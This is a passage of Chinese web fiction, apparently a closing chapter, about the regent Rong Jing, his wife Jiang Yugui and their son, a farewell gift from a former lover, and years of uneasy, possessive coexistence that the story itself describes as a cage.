摄政太傅,青龙台总督,辅国大臣,一个个沉甸甸的头衔压在他肩上,也将他牢牢钉在了那座新换了主人的宫殿里。 经常回来的时候,姜于归已经她歇下。 李昭珣,如今该称陛下了,来得很勤。 小皇帝似乎将这座曾给他短暂温暖与庇护的府邸,当成了冰冷宫殿外唯一的透气之所。 他常在下朝后,或是功课间隙,换上寻常富贵公子的衣裳,只带一两个心腹内侍,溜达着便来了。 他喜欢凑在姜于归身边,看乳母给澈儿喂奶,看丫鬟们准备精巧的辅食,甚至学着亲手给澈儿换尿布,动作生疏,常弄得手忙脚乱,把自己和澈儿都裹成一团,然后看着彼此狼狈的样子,和姜于归一起笑出声来。 只有这时,他脸上才有些属于十三岁少年的,真实的笑意与鲜活。 他会絮絮叨叨地说些朝堂上的事。哪个老臣又引经据典驳了他的提议,哪份奏章写得晦涩难懂,容太傅今日考校他功课问得极严......语气里带着依赖,也带着一丝不易察觉的,对表哥的敬畏与隐约压力。 姜于归静静听着,偶尔递过一盏温茶,或是一碟他爱吃的点心。 她不多言,只在他困惑时,用市井人理家的浅显道理,打个比方,在他抱怨累时,温声劝一句陛下是万民所系,自当保重。 她的目光,有时会越过少年天子尚且单薄的肩膀,望向窗棂外那方被高墙切割的天空,望向书房的方向。 容璟的野心,像盘踞在帝国心脏深处的一条毒龙,安静,蛰伏,却无人能忽略其存在。 她阻止不了。也无权阻止。这江山权柄的棋局,她从来只是边缘一枚身不由己的棋子。 她能做的,或许只是在毒龙彻底苏醒,欲要吞噬那孤零零坐在龙椅上的少年时,用自己这枚棋子微不足道的分量,轻轻碰一下它的鳞片,提醒它,或者提醒自己,这世上除了冰冷的算计与占有,或许还有别的羁绊,值得一丝怜悯,一线余地。 于是,她更勤地外出。 以荣国公夫人的名义,在盛京内外设粥棚,施医药,收容因战乱流离的孤寡,请老嬷嬷教导贫家女子一些谋生的手艺。 银钱流水般花出去,账册厚厚地堆起来。容璟从不过问,只吩咐账房需用多少,尽数支取。 偶尔他深夜回府,见她还在灯下核对名册,算着下一处善堂的用度,会驻足片刻,淡淡道:“这些事,交给底下人做便是。你身子刚好,不宜劳神。” 姜于归笔下不停,只轻声应:“睡不着,找点事做。” 容璟便不再劝,只吩咐丫鬟再添个手炉,或是将烛火拨亮些。 两人之间,隔着烛火,隔着账册,隔着无数未言明的血腥过往与莫测将来,维持着一种脆弱的,心照不宣的平静。 像走在冰河之上,脚下暗流汹涌,表面却只有寒风刮过的,凝固的寂静。 春日来临,澈儿的百日宴,办得并不张扬。 荣国公府刚刚经历巨变,老国公伤重不治,郡主急病暴毙,虽对外粉饰太平,但朝野上下心知肚明。此刻大肆庆贺,未免扎眼。 只请了几家至亲,在府中暖阁设了家宴。 宴至中途,门房忽来通传,说有位边军信使,送来北境慕容将军的贺礼。 满座皆静。 目光有意无意,瞟向主位的容璟,与一旁抱着孩子的姜于归。 容璟神色未变,只放下银箸,用雪白的巾帕缓缓擦了擦手,淡声道:“呈上来。” 礼很简单。一对赤金镶嵌蓝宝石的长命锁,做工粗犷,宝石却是上好的北境天空蓝,澄澈透亮。 另有一柄小小的,未开刃的鎏金匕首,鞘上刻着简单的祥云纹,是北地男儿常见的寓意辟邪护身。 附有一封短信。字迹遒劲,墨色浓重,力透纸背。 闻荣国公弄璋之喜,北境僻远,无甚佳物,聊备薄礼,贺小公子长命百岁,安然无疆。边疆宁定,臣心稍安,唯愿朝廷稳若泰山,则万民幸甚。昔年旧谊,恍如隔世,今各安天涯,唯遥祝君夫妇顺遂,小公子康健。慕容琛谨上。 再无多余一字。没有称谓,没有落款私印,格式工整如奏报。 将一场刻骨铭心的旧情,与生死相托的过往,彻底归入了旧谊与臣子本分的冰冷框架里。 姜于归抱着澈儿,指尖抚过那冰凉的蓝宝石,许久未动。 眼前仿佛掠过清溪镇酒肆昏黄的灯火,掠过盛京初雪时那个满眼星光的青年,掠过刑部大狱外绝望的奔走,掠过护城河边冰冷的嫁衣碎片...... 最终,都化作了信纸上那力透纸背的,诀别的力度。 他放下了。 不是原谅,不是释然,而是理想主义者撞破头后,看清现实壁垒的厚度,选择了最彻底也最无奈的方式。 退出战场,固守自己还能守护的边疆。 将盛京,将过往,将她,都留在了身后的烽烟与风雪里。 也好。 姜于归极轻地吸了一口气,将胸口那点滞涩的酸楚缓缓压下。 她拿起那柄小匕首,轻轻放进澈儿挥动的小手中。 孩子抓住冰凉光滑的鞘,好奇地晃了晃,发出咿呀的声音。 她低声对懵懂的孩子说,又像是对自己说:“你慕容叔叔送的,愿你......一生平安,莫涉风波。” 宴席散后,宾客离去。 容璟挥退下人,独自站在廊下。春雨细密无声,落在庭中未扫的残席上,很快覆盖了那些热闹的痕迹。 他手中捏着那封短信,目光落在各安天涯四字上,良久,指尖微动,将信纸凑近廊下摇曳的风灯。 火舌舔舐,纸张蜷曲焦黑,化作几片灰蝶,混入飘飞的雪沫中,倏忽不见。 他脸上没什么表情,只眼底深处,掠过一丝极淡的,近乎尘埃落定的寂寥。 最强的对手,最深的执念,终于以这种方式,退出了棋盘。 这局棋,往后,便真只剩他一人独行了。 春去秋来,几度寒暑。 盛京的格局,在容璟手中渐渐稳固。幼帝李昭珣在他的严厉督导与精心布置下,一日日褪去稚气,虽未亲政,于经史权谋却也渐入门径,偶尔在朝堂上发出些属于自己的声音,虽青涩,却也让某些老臣暗暗点头。 容璟并未打压。甚至在某些无关紧要处,会稍作让步,成全小皇帝的颜面与成长。 只是那玄色朝服的身影,依旧每日立在御座之侧。那双深不见底的眼睛,依旧平静地注视着朝堂上的每一道奏对,每一个眼神交换。 无声,却重若千钧。 姜于归的善堂与粥棚,渐渐在京城内外有了名声。人们说起荣国公夫人,满满的真心实意的感激与尊重。 她依旧很少过问朝政,只在皇帝来府中抱怨课业繁重或某些老臣刁难时,温言开解几句,或是在容璟连续数日宿于宫中,眼下青影浓重时,吩咐厨房备些清淡滋补的汤水送过去。 两人之间的话依旧不多。偶尔并肩站在廊下看雪,或是同一室灯火各自忙碌,空气中流淌的,是一种历经劫波后,混杂着疲惫与无奈,却又奇异般稳固下来的平静。 像两只伤痕累累的兽,在共同的巢穴里,舔舐伤口,警惕着外界,也警惕着彼此,却又因那巢穴里新生的,柔软的生命,而不得不维系着最低限度的共存。 澈儿日渐长大,眉眼愈发像容璟,性子却似乎随了姜于归多一些,安静,爱笑,对色彩和声音格外敏感。 容璟亲自为他开蒙,教他识字握笔,极其严苛。 小小的孩子跪坐在书案前,挺直背脊,努力握住对他来说过于粗大的毛笔,一笔一划,写得满头大汗,却从不哭闹。 只在父亲转身或低头看文书时,才偷偷抬起眼,向屏风后母亲的方向,飞快地眨眨眼,露出一个属于孩童的,狡黠又依赖的笑容。 姜于归便也微微一笑。 这囚笼依旧在。金雕玉砌,广阔了许多,却依然是囚笼。 只是笼中,有了琐碎的日常,有了孩子的笑声,有了窗外每年如期而至的梅花冷香,也有了她用自己方式点亮的一盏微光。 照不了多远,却足以让她在无边夜色里,看清自己的影子,不至于彻底迷失。 容璟偶尔深夜归来,带着一身宫中的寒气与挥之不去的疲惫,会站在寝室外,隔着门扉,听里面妻儿均匀的呼吸声。 那时,他脸上惯常的冰冷与深沉会淡去些许,露出底下一种近乎空茫的怔忡。 母亲临死前恶毒的诅咒,时常在耳畔回响。 众叛亲离,孤独终老。 他拽紧了拳,又缓缓松开。 至少此刻,这里还有呼吸声,还有温度。 至于将来...... 他抬眼,望向庭院深处无尽的黑暗,唇角极淡地,几不可察地弯了一下。 那笑意很短,很冷,转眼便被更深的夜色吞噬。 棋局未终,落子无悔。 而他能握在手中的,从来也只有眼前。 雪落无声,覆盖了庭阶,也覆盖了盛京无数个这样漫长而相似的夜晚。 许多年后,又是一个梅花将开的冬日。 已长成俊秀少年的容澈,扶着母亲姜于归,走到盛京一处颇有名气的善堂与女学。朗朗读书声从窗内传出,夹杂着女孩们学习织绣或算账的低声讨论。 姜于归鬓边已生华发,神色却平和从容。 她走过一排排晾晒的染布,颜色依旧是她偏爱的清雅素净,在冬日薄阳下微微飘动。 “母亲,父亲今日散朝早,说在府中等我们一同用晚膳。” 容澈低声道,语气里是对父亲习惯性的敬畏,也有一丝不易察觉的亲近。 姜于归微微颔首,目光掠过墙角一株老梅,枝头已结满胭脂色的花苞。 她想起很多年前,在另一个更偏僻的小镇,她也曾这样看着冬日的天空,筹划着渺茫的逃离与新生。 命运兜转,她终究没能逃开那座名为容璟的囚笼。 可囚笼之内,她竟也辟出了一方属于自己的天地,养大了孩子,护住了一些力所能及的微光,与那个曾让她恨之入骨的男人,维系着一种脆弱而持久的,说不清道不明的共生。 恨意未曾消失,只是被时光磨成了心底一块冷硬的基石。爱也谈不上,更多是无奈的习惯与责任交织出的牵绊。 但这就是她的人生了。 不完美,充满屈辱与妥协,却也有着具体而微的温暖与意义。 她轻声说,拢了拢肩上的披风:“回吧。” 少年扶着她,转身朝马车走去。夕阳将两人的影子拉得很长,投在青石板上,慢慢融入荣国公府巍峨门庭的阴影里。 府中,书房灯火已亮。 容璟独自站在窗前,望着庭院中缓缓驶入的马车,望着那对母子相携的身影。 他手中无意识摩挲着一枚温润旧玉,那是姜于归某年寿辰,随手送他的,并非精心准备,只是恰好见到,觉得合用。 他珍藏至今。 窗外,暮云合璧,落日熔金。 漫长的博弈与囚禁,血腥的争夺与守护,最终定格为这日复一日的,平淡而坚固的黄昏。 他知道自己永远学不会如何去爱一个人。 但占有直至生命尽头,或许,也是一种扭曲的永恒。